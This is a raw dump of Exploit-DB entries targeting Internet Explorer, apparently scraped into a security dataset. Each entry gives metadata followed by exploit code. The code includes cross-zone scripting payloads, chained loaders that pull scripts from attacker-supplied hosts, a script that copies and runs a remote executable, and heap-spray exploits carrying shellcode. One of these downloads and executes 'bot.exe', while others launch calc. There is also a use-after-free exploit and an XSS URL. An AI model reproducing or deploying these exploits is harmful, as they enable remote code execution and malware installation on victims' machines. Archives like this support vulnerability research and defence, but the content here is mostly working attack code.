deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5619
Description: Microsoft Internet Explorer - Print Table of Links Cross-Zone Scripting
Type: remote
Platform: windows
Date: 2008-05-14
Author: Aviv Raff

Exploit:
<!--
Internet Explorer "Print Table of Links" Cross-Zone Scripting Vulnerability

Author: Aviv Raff 
http://aviv.raffon.net/

Summary

Internet Explorer is prone to a Cross-Zone Scripting vulnerability in 
its â€œPrint Table of Linksâ€ feature. This feature allows users to add to 
a printed web page an appendix which contains a table of all the links 
in that webpage. 

An attacker can easily add a specially crafted link to a webpage (e.g. 
at his own website, comments in blogs, social networks, Wikipedia, 
etc.), so whenever a user will print this webpage with this feature 
enabled, the attacker will be able to run arbitrary code on the userâ€™s 
machine (i.e. in order to take control over the machine). 

Affected version

Internet Explorer 7.0 and 8.0b on a fully patched Windows XP.
Windows Vista with UAC enabled is partially affected (Information Leakage only).
Earlier versions of Internet Explorer may also be affected.

Technical details

Whenever a user prints a page, Internet Explorer uses a local resource 
script which generates an new HTML to be printed. This HTML consists of 
the following elements: Header, webpage body, Footer, and if enabled, 
also the table of links in the webpage. 

While the script takes only the text within the linkâ€™s inner data, it 
does not validate the URL of links, and add it to the HTML as it is. 
This allows to inject a script that will be executed when the new HTML 
will be generated. 

As I said in a previous post, most of the local resources in Internet 
Explorer are now running in Internet Zone. Unfortunately, the printing 
local resource script is running in Local Machine Zone, which means that 
any injected script can execute arbitrary code on the userâ€™s machine. 

Proof of Concept

The following is an example of a URL which executes Windows Calculator:

http://www.google.com/?q=<script defer>new ActiveXObject(â€œWscript.Shellâ€).run(â€œcalcâ€)</script>
-->

<html>
<body>
Print me with table of links to execute calc.exe
<a href="http://www.bla.com?x=b<script defer >var x=new ActiveXObject('WScript.Shell');x.Run('calc.exe');</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>

# milw0rm.com [2008-05-14]
Exploit-DB #310
Description: Microsoft Internet Explorer - Remote Application.Shell
Type: remote
Platform: windows
Date: 2004-07-09
Author: Jelmer

Exploit:
<html>
<body>

<script language="Javascript">

function InjectedDuringRedirection(){
showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialogHeight:1\;
dialogWidth:1\;").location="vbscript:\"<SCRIPT SRC='http://ip/shellscript_loader.js'><\/script>\"";
}

</script>

<script language="javascript">

setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100);
setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",101);
document.write('<IFRAME ID=myiframe NAME=myiframe SRC="redir.jsp" style=display:none;></IFRAME>');

</script>

</body>
</html>

--------------------------------------------------------- md.htm  ---------------------------------------------------------
<SCRIPT language="javascript">

window.returnValue = window.dialogArguments;

function CheckStatus(){
try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();}
setTimeout("CheckStatus()",100);
}

CheckStatus();

</SCRIPT>

--------------------------------------------------- shellscript_loader.js  ---------------------------------------------------
function getRealShell() {
myiframe.document.write("<SCRIPT SRC='http://ip/shellscript.js'><\/SCRIPT>");
}

document.write("<IFRAME ID=myiframe SRC='about:blank' WIDTH=200 HEIGHT=200></IFRAME>");
setTimeout("getRealShell()",100);

------------------------------------------------------- shellscript.js  -------------------------------------------------------
function injectIt() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<script language=
"JScript" DEFER>var obj=new ActiveXObject("Shell.Application");obj.ShellExecute("cmd.exe","/c pause");</script>');
}
document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
setTimeout("injectIt()", 1000);

--------------------------------------------------------- redir.jsp  ----------------------------------------------------------
<% Thread.sleep(1500);
response.setStatus(302);
response.setHeader("Location", "URL:res://shdoclc.dll/HTTP_501.htm"); 
%>


# milw0rm.com [2004-07-09]
Exploit-DB #730
Description: Microsoft Internet Explorer - Remote Code Execution
Type: remote
Platform: windows
Date: 2004-12-28
Author: ShredderSub7

Exploit:
<!-- 
Download this file as well for your own testing:  original htm.txt
http://www.milw0rm.com/down.php?id=723

//str0ke
-->  

<html><head><title>CMDExe - Windows Exploit - Remote code execution with parameters - Proof of Concept</title></head><BODY style="font-family:Verdana;color:#0000FF;font-size:14px">More info about this exploit can be found at <a href="http://freehost19.websamba.com/shreddersub7/expl-discuss.htm" target="_new">hhttp://freehost19.websamba.com/shreddersub7/expl-discuss.htm</a>. © 2004 ShredderSub7
<script>
  function DisplayLocStrings() {
    Title.innerHTML = TAG_SYSCONFIG;
    Config_Link.innerHTML = TAG_OPENSYSCONFIG;
    Config_Desc.innerHTML = TAG_SYSCONFIGDESC;
  }
  </script>
<br><OBJECT style="display:none" id="locate" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" codebase="hhctrl.ocx#Version=5,2,3790,1194">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:_">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value="command;ms-its:c:/windows/help/ntshared.chm::/alt_url_enterprise_specific.htm">
</OBJECT>
<OBJECT style="display:none" id="locator" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" codebase="hhctrl.ocx#Version=5,2,3790,1194">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:_">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value='command;javascript:execScript("document.write(\"<script language=\\\"javascript\\\" src=\\\"http://www.milw0rm.com/down.php?id=723\\\"\"+String.fromCharCode(62)+\"</scr\"+\"ipt\"+String.fromCharCode(62))")'>

</OBJECT>
<script>locate.HHClick();setTimeout("locator.HHClick()",100);setTimeout("window.opener=null;window.close()",10000)</script></body></html>

// milw0rm.com [2004-12-28]
Exploit-DB #316
Description: Microsoft Internet Explorer - Remote Wscript.Shell
Type: remote
Platform: windows
Date: 2004-07-13
Author: Ferruh Mavituna

Exploit:
-----------------------------------------------------  default.htm  -------------------------------------------------------
<html>
<body>
<img src="cc.exe" width=0 height=0 style=display:none>

<script language="Javascript">

function InjectedDuringRedirection(){
showModalDialog('md.htm',window,"dialogTop:-1000\;dialogLeft:-1000\;dialogHeight:1\;dialogWidth:1\;").
location="vbscript:\"<SCRIPT SRC='http://IPADDRESS/shellscript_loader.js'><\/script>\"";
}

</script>

<script language="javascript">

setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100);
setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",101);
document.write('<IFRAME ID=myiframe NAME=myiframe SRC="redir.asp" style=display:none;></IFRAME>');

</script>

</body>
</html>

--------------------------------------------------------- md.htm  ---------------------------------------------------------
<SCRIPT language="javascript">

window.returnValue = window.dialogArguments;

function CheckStatus(){
try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();}
setTimeout("CheckStatus()",100);
}

CheckStatus();

</SCRIPT>

--------------------------------------------------- shellscript_loader.js  ---------------------------------------------------
function getRealShell() {
myiframe.document.write("<SCRIPT SRC='http://IPADDRESS/shellscript.js'><\/SCRIPT>");
}

document.write("<IFRAME ID=myiframe SRC='about:blank' WIDTH=200 HEIGHT=200></IFRAME>");
setTimeout("getRealShell()",100);

------------------------------------------------------- shellscript.js  -------------------------------------------------------
function injectIt() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<script language="JScript" DEFER>
var rF="\\\\\\\\IPADDRESS\\\\NULLSHAREDFOLDER\\\\bad.exe";var wF="%windir%\\\\_tmp.exe";var 
o=new ActiveXObject("wscript.shell");var e="%comspec% /c copy "+rF+" "+wF;var err=o.Run(e,0,true);if(err==0)
o.Run(wF,0,false);</script>');
}
document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
setTimeout("injectIt()", 1000);
--------------------------------------------------------- redir.asp  ----------------------------------------------------------
<%
Response.Expires = 1
Response.Expiresabsolute = Now() - 1
Response.AddHeader "pragma","no-cache"
Response.AddHeader "cache-control","private"
Response.CacheControl = "no-cache"
For x = 1 to 500000 'Time
z = z + 10
Next

Response.Status = "302 Found" 
Response.AddHeader "Content-Length", "4"
Response.AddHeader "Location","URL:res://shdoclc.dll/HTTP_501.htm"
%>


# milw0rm.com [2004-07-13]
Exploit-DB #20547
Description: Microsoft Internet Explorer - Time Element Memory Corruption (MS11-050)
Type: remote
Platform: windows
Date: 2012-08-16
Author: Ciph3r

Exploit:
######################################################################################
# Vuln Title: Internet Explorer Remote Code Execution Exploit (DEP and ASLR Bypass)
# 
# Author: FaryadR (a.k.a Ciph3r)
# tested on : win 7 and IE 8 (DEP and ASLR)
# Twitter : https://twitter.com/faryadR
# Mail : Ciph3r.secure@gmail.com
# Website : http://0c0c0c0c.com
# Vendor : Microsoft
# Time Element Memory Corruption Vulnerability
#
######################################################################################


	vuln Description :
	
	The Timed Interactive Multimedia Extensions (aka HTML+TIME) implementation in
	Microsoft Internet Explorer 6 through 8 does not properly handle objects in memory,
	which allows remote attackers to execute arbitrary code by accessing an object that (1)
	was not properly initialized or (2) is deleted, aka "Time Element Memory Corruption Vulnerability."
	

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20547.rar
Exploit-DB #151
Description: Microsoft Internet Explorer - URL Injection in History List (MS04-004)
Type: remote
Platform: windows
Date: 2004-02-04
Author: Andreas Sandblad

Exploit:
// Andreas Sandblad, 2004-02-03, patched by MS04-004

// Name:     payload
// Purpose:  Run payload code called from Local Machine zone.
//           The code may be arbitrary such as executing shell commands.
//           This demo simply creates a harmless textfile on the desktop.
function payload() {
  file = "sandblad.txt";
  o = new ActiveXObject("ADODB.Stream");
  o.Open();
  o.Type=2;
  o.Charset="ascii";
  o.WriteText("You are vulnerable!");
  o.SaveToFile(file, 2);
  o.Close();
  alert("File "+file+" created on desktop!");
}

// Name:     trigger
// Purpose:  Inject javascript url in history list and run payload
//           function when the user hits the backbutton.
function trigger(len) {
  if (history.length != len)
    payload();
  else
    return "<title>-</title><body
onload=external.NavigateAndFind('res:','','')>";
}

// Name:    backbutton
// Purpose: Run backbutton exploit.
function backbutton() {
  location = 'javascript:'+trigger+payload+'trigger('+history.length+')';
}

// Launch backbutton exploit on load
if (confirm("Press OK to run backbutton exploit!"))
  backbutton();


# milw0rm.com [2004-02-04]
Exploit-DB #2458
Description: Microsoft Internet Explorer - WebViewFolderIcon setSlice() (1)
Type: remote
Platform: windows
Date: 2006-09-29
Author: YAG KOHHA

Exploit:
#!/usr/bin/perl

#
# Microsoft Internet Explorer WebViewFolderIcon setSlice() D0wnLoad & Exec POC
#
# Author: Vampyroteuthis Infernalis <skyhole [at] gmail.com>
# Greetz: H D Moor, Dark Eagle, Jamikazu
#
#


use strict;

my $sco =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03".
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74".
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E".
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03".
"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C".
"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40".
"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C".
"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC".
"\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F".
"\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB".
"\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83".
"\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF".
"\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF".
"http://dedicated.com/bot.exe";

my $war_code= convert_sco($sco);

my @exploit_body=<<FOOKER;
<HTML>
<BODY>
<SCRIPT language="javascript">

	var heapSprayToAddress = 0x05050505;
	var infernalis_ = unescape("%u9090%u9090$war_code");
	var heapBlockSize = 0x400000;
	var payLoadSize = infernalis_.length * 2;
	var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
	var spraySlide = unescape("%u0505%u0505");
	spraySlide = getSpraySlide(spraySlide,spraySlideSize);
	heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
	memory = new Array();

	for (i=0;i<heapBlocks;i++)
	{
		memory[i] = spraySlide + infernalis_;
	}

   	for ( i = 0 ; i < 128 ; i++)
	{
		try{
			var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
			tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 );
		}catch(e){}
	}

	function getSpraySlide(spraySlide, spraySlideSize)
	{
		while (spraySlide.length*2<spraySlideSize)
		{
			spraySlide += spraySlide;
		}
		spraySlide = spraySlide.substring(0,spraySlideSize/2);
		return spraySlide;
	}

</SCRIPT>

</BODY>
</HTML>

FOOKER

open (IE_VML, ">", "exploit.html");

print IE_VML @exploit_body;

close IE_VML;

sub convert_sco {
	my $data = shift;
	my $mode = shift() || 'LE';
	my $code = '';
	
	my $idx = 0;
	
	if (length($data) % 2 != 0) {
		$data .= substr($data, -1, 1);
	}
	
	while ($idx < length($data) - 1) {
		my $c1 = ord(substr($data, $idx, 1));
		my $c2 = ord(substr($data, $idx+1, 1));	
		if ($mode eq 'LE') {
			$code .= sprintf('%%u%.2x%.2x', $c2, $c1);	
		} else {
			$code .= sprintf('%%u%.2x%.2x', $c1, $c2);	
		}
		$idx += 2;
	}
	
	return $code;
}

# milw0rm.com [2006-09-29]
Exploit-DB #2448
Description: Microsoft Internet Explorer - WebViewFolderIcon setSlice() (HTML)
Type: remote
Platform: windows
Date: 2006-09-28
Author: jamikazu

Exploit:
<!--

..::[ jamikazu presents ]::..

Microsoft Internet Explorer WebViewFolderIcon (setSlice) Exploit (0day)
Works on all Windows XP versions including SP2

Author: jamikazu 
Mail: jamikazu@gmail.com

Bug discovered by Computer H D Moore (http://www.metasploit.com)

Credit: metasploit, SkyLined

invokes calc.exe if successful 

-->

<HTML>
<BODY>
<SCRIPT language="javascript">

	var heapSprayToAddress = 0x05050505;
	var payLoadCode = unescape(
	"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +
	"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +
	"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +
	"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +
	"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +
	"%uFF57%u63E7%u6C61%u0063");
	var heapBlockSize = 0x400000;
	var payLoadSize = payLoadCode.length * 2;
	var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
	var spraySlide = unescape("%u0505%u0505");
	spraySlide = getSpraySlide(spraySlide,spraySlideSize);
	heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
	memory = new Array();

	for (i=0;i<heapBlocks;i++)
	{
		memory[i] = spraySlide + payLoadCode;
	}

   	for ( i = 0 ; i < 128 ; i++) 
	{
		try{ 
			var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
			tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 ); 
		}catch(e){}
	}

	function getSpraySlide(spraySlide, spraySlideSize)
	{
		while (spraySlide.length*2<spraySlideSize)
		{
			spraySlide += spraySlide;
		}
		spraySlide = spraySlide.substring(0,spraySlideSize/2);
		return spraySlide;
	}

</SCRIPT> 

</BODY>
</HTML>

# milw0rm.com [2006-09-28]
Exploit-DB #7477
Description: Microsoft Internet Explorer - XML Parsing Buffer Overflow (1)
Type: remote
Platform: windows
Date: 2008-12-15
Author: krafty

Exploit:
<!--

IE XML Heap Corruption exploit

by krafty

greets to hdm, ddz, SK, muts, halvar, grugq, and all the ethnical hackers

sux to exploit traders - ZDI, WabiSabiLabi, and all you h0arders.

Bring back the days of technotronic and r00tshell! Freedom.

poc: launches calculator.
Tested with IE7 XP SP2, SP3, Vista.

-->

<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");

do {
   spray += spray;
} while(spray.length < 0xd0000);

memory = new Array();

for(i = 0; i < 100; i++)
   memory[i] = spray + shellcode;

xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

tag = document.getElementById("replace");
tag.innerHTML = xmlcode;

</script>
</html>

# milw0rm.com [2008-12-15]
Exploit-DB #7403
Description: Microsoft Internet Explorer - XML Parsing Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-12-10
Author: Guido Landi

Exploit:
// k`sOSe 12/10/2008 - tested on winxp sp3, explorer 7.0.5730.13

// windows/exec - 141 bytes                                                                     
// http://www.metasploit.com                                                                    
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe  

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7403.zip (2008-iesploit.tar.gz)

# milw0rm.com [2008-12-10]
Exploit-DB #32851
Description: Microsoft Internet Explorer 10 - CMarkup Use-After-Free (MS14-012)
Type: remote
Platform: windows
Date: 2014-04-14
Author: Jean-Jamil Khalife

Exploit:
<!--
 MS14-012 Internet Explorer CMarkup Use-After-Free
 Vendor Homepage: http://www.microsoft.com
 Version: IE 10
 Date: 2014-03-31 
 Exploit Author: Jean-Jamil Khalife
 Tested on: Windows 7 SP1 x64 (fr, en)
 Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
 Home: http://www.hdwsec.fr
 Blog : http://www.hdwsec.fr/blog/
 MS14-012 / CVE-2014-0322

 Generation:
 	c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf

 Exploit-DB Mirror:  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32851-AsXploit.as

-->

<html>
<head>
</head>
<body>

<script>

var g_arr = [];
var arrLen = 0x250;

function dword2data(dword)
{
	var d = Number(dword).toString(16);
	while (d.length < 8)
		d = '0' + d;

	return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}

function eXpl()
{
    var a=0;

    for (a=0; a < arrLen; a++) {
        g_arr[a] = document.createElement('div');
    }
	
	// Build a new object
	var b = dword2data(0x19fffff3);
    while (b.length < 0x360)
	{
		// mov     eax,dword ptr [esi+98h]
		// ...
		// mov     eax,dword ptr [eax+8]
		// and     dword ptr [eax+2F0h],0FFFFFFBFh
		if (b.length == (0x98 / 2))
		{
			b += dword2data(0x1a000010);
		}
		// mov     ecx,dword ptr [edx+94h]
		// mov     eax,dword ptr [ecx+0Ch]
		else if (b.length == (0x94 / 2))
		{
			b += dword2data(0x1a111111);
		}
		// mov     eax,dword ptr [edx+15Ch]
		// mov     ecx,dword ptr [eax+edx*8]
		else if (b.length == (0x15c / 2))
		{
			b += dword2data(0x42424242);
		}
		else
		{
			b += dword2data(0x19fffff3);
		}
	}
    
	var d = b.substring(0, ( 0x340 - 2 )/2);
    
	// trigger
	try{
        this.outerHTML=this.outerHTML
    } 
	catch(e){
		
	}
	
    CollectGarbage();

	// Replace freed object
    for (a=0; a < arrLen; a++)
    {
        g_arr[a].title = d.substring(0, d.length);
    }
}

// Trigger the vulnerability
function trigger()
{
    var a = document.getElementsByTagName("script");
    var b = a[0];
    b.onpropertychange = eXpl;
    var c = document.createElement('SELECT');
    c = b.appendChild(c);
}



</script>
<embed src=AsXploit.swf width="10" height="10"></embed>
</body>
</html>
Exploit-DB #31759
Description: Microsoft Internet Explorer 2 - UTF-7 HTTP Response Handling
Type: remote
Platform: windows
Date: 2008-05-08
Author: Yaniv Miron

Exploit:
source: https://www.securityfocus.com/bid/29112/info

Microsoft Internet Explorer is prone to a weakness that can facilitate cross-site scripting attacks. The issue occurs because the application fails to sufficiently sanitize user-supplied input when handling UTF-7 charset data received in HTTP responses.

Attackers can leverage this weakness to aid in cross-site scripting attacks against unsuspecting users of the application.

Reports indicate that all versions of Internet Explorer are affected.

Other browsers may also be affected under certain configurations, but this has not been confirmed.

NOTE: This BID was originally titled 'Apache HTTP Server 403 Error Cross-Site Scripting Vulnerability'.

http://www.example.com/Znl5g3k70ZaBUPYmN5RAGUdkskoprzGI63K4mIj2sqzbX0Kc3Fu7vfthepWhmKvjudPuJTNeK9zw5MaZ1yXJi8RJRRuPe5UahFwOblMXsIPTGh3pVjTLdim3vuTKgdazOG9 idQbIjbnpMEco8Zlo5xNRuCoviPx7x7tYYeOgc8HU46gaecJwnHY7f6GlQB8H6kBFhjoIaHE1SQPhU5VReCz1olPh5jZ%3Cfont%20size=50%3EDEFACED%3C!xc+ADw-script+AD4-alert('xss') +ADw-/script+AD4---//--